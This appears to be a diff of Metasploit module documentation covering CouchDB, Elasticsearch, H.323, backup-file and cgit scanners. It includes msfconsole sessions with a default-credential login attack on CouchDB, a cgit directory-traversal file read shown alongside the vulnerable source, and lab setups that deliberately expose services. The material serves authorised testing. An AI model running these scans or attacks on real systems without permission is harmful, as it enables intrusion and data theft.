|
||||
2. `sudo add-apt-repository ppa:couchdb/stable`
|
||||
3. `sudo apt update`
|
||||
4. `sudo apt install couchdb`
|
||||
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
|
||||
6. Restart the service: `sudo service couchdb restart`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure couchdb
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/couchdb/couchdb_enum`
|
||||
4. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**serverinfo**
|
||||
|
||||
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
|
||||
|
||||
[+] 1.1.1.1:5984 {
|
||||
"couchdb": "Welcome",
|
||||
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
|
||||
"version": "1.6.1",
|
||||
"vendor": {
|
||||
"version": "16.04",
|
||||
"name": "Ubuntu"
|
||||
}
|
||||
}
|
||||
[*] #{peer} Enumerating Databases...
|
||||
[+] 1.1.1.1:5984 Databases:
|
||||
|
||||
[
|
||||
"_replicator",
|
||||
"_users"
|
||||
]
|
||||
|
||||
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
|
||||
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
|
||||
Services
|
||||
========
|
||||
|
||||
host port proto name state info
|
||||
---- ---- ----- ---- ----- ----
|
||||
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
|
||||
Server: CouchDB/1.6.1 (Erlang OTP/18)
|
||||
Date: Sat, 21 Jul 2018 14:54:45 GMT
|
||||
Content-Type: text/plain; charset=utf-8
|
||||
Content-Length: 127
|
||||
Cache-Control: must-revalidate
|
||||
|
||||
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
|
||||
|
||||
```
|
|
@ -0,0 +1,51 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
|
||||
|
||||
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
|
||||
|
||||
1. `sudo apt install software-properties-common`
|
||||
2. `sudo add-apt-repository ppa:couchdb/stable`
|
||||
3. `sudo apt update`
|
||||
4. `sudo apt install couchdb`
|
||||
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
|
||||
6. Restart the service: `sudo service couchdb restart`
|
||||
7. Create an admin user `curl -X PUT http://127.0.0.1:5984/_config/admins/anna -d '"secret"'`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install and configure couchdb
|
||||
2. Start msfconsole
|
||||
3. Do: `auxiliary/scanner/couchdb/couchdb_login`
|
||||
4. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
A run against the configuration from these docs
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/couchdb/couchdb_login
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > set username anna
|
||||
username => anna
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > set password secret
|
||||
password => secret
|
||||
msf5 auxiliary(scanner/couchdb/couchdb_login) > run
|
||||
|
||||
[*] 1.1.1.1:5984 - [001/305] - Trying username:'connect' with password:'connect'
|
||||
[*] 1.1.1.1:5984 - [002/305] - Trying username:'sitecom' with password:'sitecom'
|
||||
[*] 1.1.1.1:5984 - [003/305] - Trying username:'admin' with password:'1234'
|
||||
[*] 1.1.1.1:5984 - [004/305] - Trying username:'cisco' with password:'cisco'
|
||||
[*] 1.1.1.1:5984 - [005/305] - Trying username:'cisco' with password:'sanfran'
|
||||
[*] 1.1.1.1:5984 - [006/305] - Trying username:'private' with password:'private'
|
||||
[*] 1.1.1.1:5984 - [007/305] - Trying username:'wampp' with password:'xampp'
|
||||
[*] 1.1.1.1:5984 - [008/305] - Trying username:'newuser' with password:'wampp'
|
||||
[*] 1.1.1.1:5984 - [009/305] - Trying username:'xampp-dav-unsecure' with password:'ppmax2011'
|
||||
[*] 1.1.1.1:5984 - [010/305] - Trying username:'admin' with password:'turnkey'
|
||||
[*] 1.1.1.1:5984 - [011/305] - Trying username:'vagrant' with password:'vagrant'
|
||||
[*] 1.1.1.1:5984 - [012/305] - Trying username:'anna' with password:'secret'
|
||||
[+] 1.1.1.1:5984 - Successful login with. 'anna' : 'secret'
|
||||
[*] 1.1.1.1:5984 - [013/305] - Trying username:'admin' with password:'secret'
|
||||
...snip...
|
||||
```
|
|
@ -0,0 +1,46 @@
|
|||
## Description
|
||||
This module identifies a list of indices which an Elasticsearch NoSQL database has. This occurs over the REST API, which on community versions is an unauthenticated API. Customers who subscribe to a support plan can add authentication to this API restricting access.
|
||||
|
||||
## Vulnerable Application
|
||||
### Install Elasticsearch on Kali Linux:
|
||||
With this install, we'll install the free community edition of Elasticsearch, which does not require authentication to the API. However, this is unrealistic in a production environment which will often leverage a support contract to gain authentication, a reverse proxy to add basic authentication, and/or a host firewall to restrict access to this API.
|
||||
|
||||
The following instructions assume you are beginning with a fresh Kali installation as the root user.
|
||||
|
||||
1. `useradd -M -r elasticsearch`
|
||||
2. `su elasticsearch`
|
||||
3. `cd /tmp`
|
||||
4. `curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.tar.gz`
|
||||
5. `tar -xvf elasticsearch-6.3.2.tar.gz`
|
||||
6. `cd elasticsearch-6.3.2/bin`
|
||||
7. `./elasticsearch`
|
||||
8. Open a new terminal
|
||||
9. In the new terminal, `curl -X PUT http://127.0.0.1:9200/msf_test` to create an index for validation purposes
|
||||
|
||||
## Verification Steps
|
||||
1. `use auxiliary/scanner/elasticsearch/indices_enum`
|
||||
2. `set RHOSTS [ips]`
|
||||
3. `set RPORT [port]`
|
||||
4. `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
### Elasticsearch 6.3.2 on Kali Linux
|
||||
```
|
||||
msf > use auxiliary/scanner/elasticsearch/indices_enum
|
||||
msf auxiliary(scanner/elasticsearch/indices_enum) > set RHOSTS 10.10.10.25
|
||||
RHOSTS => 10.10.10.25
|
||||
msf auxiliary(scanner/elasticsearch/indices_enum) > run
|
||||
|
||||
[+] ElasticSearch Indices found: msf_test
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming
|
||||
### [elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/_list_all_indices.html)
|
||||
```
|
||||
# curl 'http://10.10.10.25:9200/_cat/indices?v'
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
yellow open msf_test W83_cAS1QlmePnczS9sLrA 5 1 0 0 1.2kb 1.2kb
|
||||
```
|
|
@ -0,0 +1,16 @@
|
|||
## Intro
|
||||
|
||||
This module scans for h.323 servers and determines the version and information about the server.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
|
||||
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
|
||||
rhosts => 1.1.1.1
|
||||
msf5 auxiliary(scanner/h323/h323_version) > run
|
||||
|
||||
[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
|
||||
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,45 @@
|
|||
## Intro
|
||||
|
||||
This module scans a web server for a file name with various backup type extensions.
|
||||
The list of extensions are:
|
||||
|
||||
1. .backup
|
||||
2. .bak
|
||||
3. .copy
|
||||
4. .copia
|
||||
5. .old
|
||||
6. .orig
|
||||
7. .temp
|
||||
8. .txt
|
||||
9. ~
|
||||
|
||||
## Usage
|
||||
|
||||
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
|
||||
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
|
||||
`backup.orig`, and `backup~`.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/backup_file
|
||||
msf5 auxiliary(scanner/http/backup_file) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/backup_file) > set path /backup
|
||||
path => /backup
|
||||
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/backup_file) > run
|
||||
|
||||
[*] NOT Found http://192.168.2.39:80/backup.backup
|
||||
[*] NOT Found http://192.168.2.39:80/backup.bak
|
||||
[*] NOT Found http://192.168.2.39:80/backup.copy
|
||||
[*] NOT Found http://192.168.2.39:80/backup.copia
|
||||
[+] Found http://192.168.2.39:80/backup.old
|
||||
[+] Found http://192.168.2.39:80/backup.orig
|
||||
[*] NOT Found http://192.168.2.39:80/backup.temp
|
||||
[*] NOT Found http://192.168.2.39:80/backup.txt
|
||||
[+] Found http://192.168.2.39:80/backup~
|
||||
[*] NOT Found http://192.168.2.39:80/.backup.swp
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,91 @@
|
|||
## Description
|
||||
|
||||
cgit before v1.2.1 has a directory traversal vulnerabiltiy when `cgitrc` has the `enable-http-clone` value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[cgit before v1.2.1](https://git.zx2c4.com/cgit/)
|
||||
|
||||
### Installing cgit on Ubuntu 18.04 x64
|
||||
|
||||
1. `sudo apt install cgit` # [dependencies](https://git.zx2c4.com/cgit/tree/README) may have to be downloaded first
|
||||
2. Modify `/etc/cgitrc` to have `enable-http-clone=1`. Example attached.
|
||||
3. Add `.htaccess` file with rewrite rules to `/usr/lib/cgit/`. Example attached.
|
||||
4. Add `cgit.conf` to `/etc/apache2/conf-enabled/`. Example attached.
|
||||
5. Enable `rewrite.load` and `cgi.load` in apache2.
|
||||
6. Create bare repo. `mkdir -p repo/test.git && cd repo/test.git && git init --bare`
|
||||
|
||||
Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation
|
||||
by this module.
|
||||
|
||||
[cgit.conf](https://github.com/rapid7/metasploit-framework/files/2284678/cgit.conf.txt)
|
||||
|
||||
[cgitrc](https://github.com/rapid7/metasploit-framework/files/2284679/cgitrc.txt)
|
||||
|
||||
[.htaccess](https://github.com/rapid7/metasploit-framework/files/2284680/htaccess.txt)
|
||||
|
||||
### Vulnerability Details from Project Zero
|
||||
|
||||
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
|
||||
|
||||
```
|
||||
void cgit_clone_objects(void)
|
||||
{
|
||||
if (!ctx.qry.path) {
|
||||
cgit_print_error_page(400, "Bad request", "Bad request");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!strcmp(ctx.qry.path, "info/packs")) {
|
||||
print_pack_info();
|
||||
return;
|
||||
}
|
||||
|
||||
send_file(git_path("objects/%s", ctx.qry.path));
|
||||
}
|
||||
```
|
||||
|
||||
send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
|
||||
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
|
||||
|
||||
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.
|
||||
|
||||
## Options
|
||||
|
||||
**REPO**
|
||||
|
||||
Git repository on the remote server. Default is empty, `''`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `set rhosts <rhost>`
|
||||
3. `set targeturi <uri>`
|
||||
4. `set repo <repo>`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/cgit_traversal
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
|
||||
rhosts => 172.22.222.123
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
|
||||
targeturi => /mygit/
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set repo test
|
||||
repo => test
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
|
||||
filepath => /home/msfdev/proof.txt
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/cgit_traversal) > run
|
||||
|
||||
[+] 172.22.222.123:80 -
|
||||
you found me!
|
||||
|
||||
[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue